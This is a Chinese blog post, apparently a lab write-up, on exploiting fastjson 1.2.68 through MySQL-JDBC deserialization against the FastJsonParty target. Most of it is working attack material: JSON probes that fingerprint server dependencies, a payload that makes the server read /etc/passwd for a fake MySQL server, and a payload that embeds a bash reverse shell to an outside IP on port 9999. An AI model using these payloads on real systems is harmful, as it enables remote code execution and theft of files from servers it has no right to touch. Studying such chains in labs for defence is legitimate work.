首页 > 其他分享 >fastjson 1268-jdbc

fastjson 1268-jdbc

时间:2024-01-31 18:46:24浏览次数:38  
标签:fastjson cj jdbc com 1268 mysql org type

1268-jdbc

复现

靶场项目是 https://github.com/lemono0/FastJsonParty

版本

{
    "@type": "java.lang.AutoCloseable"

回包:

{
    "timestamp":"2024-01-31T09:45:27.342+0000","status":500,"error":"Internal Server Error","message":"syntax error, expect {, actual EOF, pos 0, fastjson-version 1.2.68","path":"/login"
}

看到在这个大版本下,首先的思路肯定是考虑文件写操作,就需要判断是否为JDK11或者存在commons-io等其他文件写入的依赖,但是该环境下都是不存在的。

除了文件写操作,还有一个利用更加简单且直接rce的方法:配合Mysql-JDBC反序列化打fastjson。

要求环境中存在JDBC的依赖,且对版本的要求也挺严格。 Mysql-JDBC在5、6、8下都存在相应的利用,所以就需要探测具体是什么版本。

依赖检测

利用Character转换报错

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.springframework.web.bind.annotation.RequestMapping"
    }
}

依赖存在的回包:

{
    "timestamp":"2024-01-31T09:57:13.698+0000","status":500,"error":"Internal Server Error","message":"can not cast to char, value : interface org.springframework.web.bind.annotation.RequestMapping","path":"/login"
}

依赖不存在的回包:

{
    "timestamp":"2024-01-31T09:56:13.060+0000","status":500,"error":"Internal Server Error","message":"No message available","path":"/login"
}

依赖检测项目

org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat  //Tomcat
groovy.lang.GroovyShell  //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources  //C3P0
com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider  //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK  //JDK8
java.net.http.HttpClient  //JDK11
org.apache.ibatis.type.Alias  //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource  //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets       // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters  //commons-io-2.7-2.8
org.aspectj.ajde.Ajde  //aspectjtools

利用

这里使用的是mysql-connect-8.x
对于mysql-connect的版本为8下限制条件很大,只有一个版本可用:8.0.19
拉取 https://github.com/fnmsd/MySQL_Fake_Server 下来。
python3 server.py启动mysql-fake-server:

然后读取文件

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "10.30.0.84"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "47.113.221.99",
                "user": "fileread_/etc/passwd",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

服务端收到了请求,并且读取了文件。
img

这里的话因为mysql-fake-server调用反序列化模块的原理是需要我们传入ysoserial工具然后执行命令获取数据并发送,但是在本身的ysoserial工具中并没有加入fastjson这条链的payload,所以需要在ysoserial中加入fastjson这条链。

上传到与server.py同目录即可读取。

img

ysoserial

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "47.113.221.99"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "47.113.221.99",
                "user": "yso_FastJson1_bash -i >& /dev/tcp/47.113.221.99/9999 0>&1",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

img

标签:fastjson,cj,jdbc,com,1268,mysql,org,type
From: https://www.cnblogs.com/qianyuzz/p/17999898

相关文章

  • JdbcTemplate.queryForList()查询结果如何对Date等日期类型进行格式化?
    1.情景展示在实际开发中,我们往往会遇到这样的需求:需要对多个数据库进行操作,这用mybatis等框架来进行操作显然不合理,也无法满足多样化的需求。通过java来进行JDBC操作无疑是最好的选择。如下图所示,通过org.springframework.jdbc.core.JdbcTemplate.queryForList()方法查询到......
  • 对比Spring Boot中的JdbcClient与JdbcTemplate
    本文我们一起看看SpringBoot中JdbcClient和JdbcTemplate之间的差异。以下内容使用的Java和SpringBoot版本为:Java21SpringBoot3.2.1假设我们有一个ICustomerService接口:publicinterfaceICustomerService{List<Customer>getAllCustomer();Option......
  • 纪念JDBC
    技术总是在不断更新变化的,尤其是在IT编程领域。有时候我们理所当然的用着现成的框架,以至于用的太过于顺手,更要时不时的骂一句:什么垃圾框架?我家狗都不会用!如果那些被拍死在沙滩的“前浪”听到这话,怕是要顶开棺材板给你点个赞。为什么?因为太安逸了,安逸到一出生就开着拖拉机耕地,还嫌拖......
  • 纪念JDBC
    技术总是在不断更新变化的,尤其是在IT编程领域。有时候我们理所当然的用着现成的框架,以至于用的太过于顺手,更要时不时的骂一句:什么垃圾框架?我家狗都不会用!如果那些被拍死在沙滩的“前浪”听到这话,怕是要顶开棺材板给你点个赞。为什么?因为太安逸了,安逸到一出生就开着拖拉机耕地......
  • 使用debezium-connector-jdbc组件完成数据同步(io.debezium.connector.jdbc.JdbcSinkCo
    1.情景展示在网络上几乎找不到关于debezium-connector-jdbc插件的博客文章,基本上都在吹io.confluent.connect.jdbc.JdbcSinkConnector,由于一开始对数据同步插件并不了解,导致自己走了不少弯路。生产数据组件:debezium-connector-mysql、debezium-connector-oracle等数据库组件,通......
  • AngusTester 和 JMeter JDBC 测试结果比较
    本次测试主要目的是对比AngusTester和JMeter对JDBC协议性能表现。测试环境以下测试AngusTester和JMeter使用相同环境。注意:本次测试是在同一台PC机上进行,如果想测试特定配置下数据库的准确性能,需要将测试机和MySQL服务器分开部署,或者使用更高配置的测试服务器。软......
  • Spring的JdbcTemplate使用教程
    什么是JdbcTemplate?Spring框架对JDBC进行封装,使用JdbcTemplate方便实现对数据库操作。准备工作引入jdbcTemplate的相关依赖:案例实操创建jdbc.properties文件,配置数据库信息jdbc.driver=com.mysql.cj.jdbc.Driverjdbc.url=jdbc:mysql://localhost:3306/dbtest1?serv......
  • 从SQL到Java数据类型映射的JDBC规范
    SQL类型Java类型CHARjava.lang.StringVARCHARjava.lang.StringLONGVARCHARjava.lang.StringNUMERICjava.math.BigDecimalDECIMALjava.math.BigDecimalBITbooleanTINYINTbyteSMALLINTshortINTEGERint......
  • elasticsearch学习笔记2 - logstash jdbc 同步MYSQL到ES
    logstash是一个管道工具input输入output输出filter过滤条件咋们初级先了解到这些再说比较优秀的教程文档作为基础知识需要了解:https://blog.csdn.net/qq_19283249/article/details/130839158?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170564710516800215......
  • ShardingSphere-JDBC学习
    springBoot 引入maven<dependency><groupId>org.apache.shardingsphere</groupId><artifactId>sharding-jdbc-spring-boot-starter</artifactId><version>4.0.0-RC1<......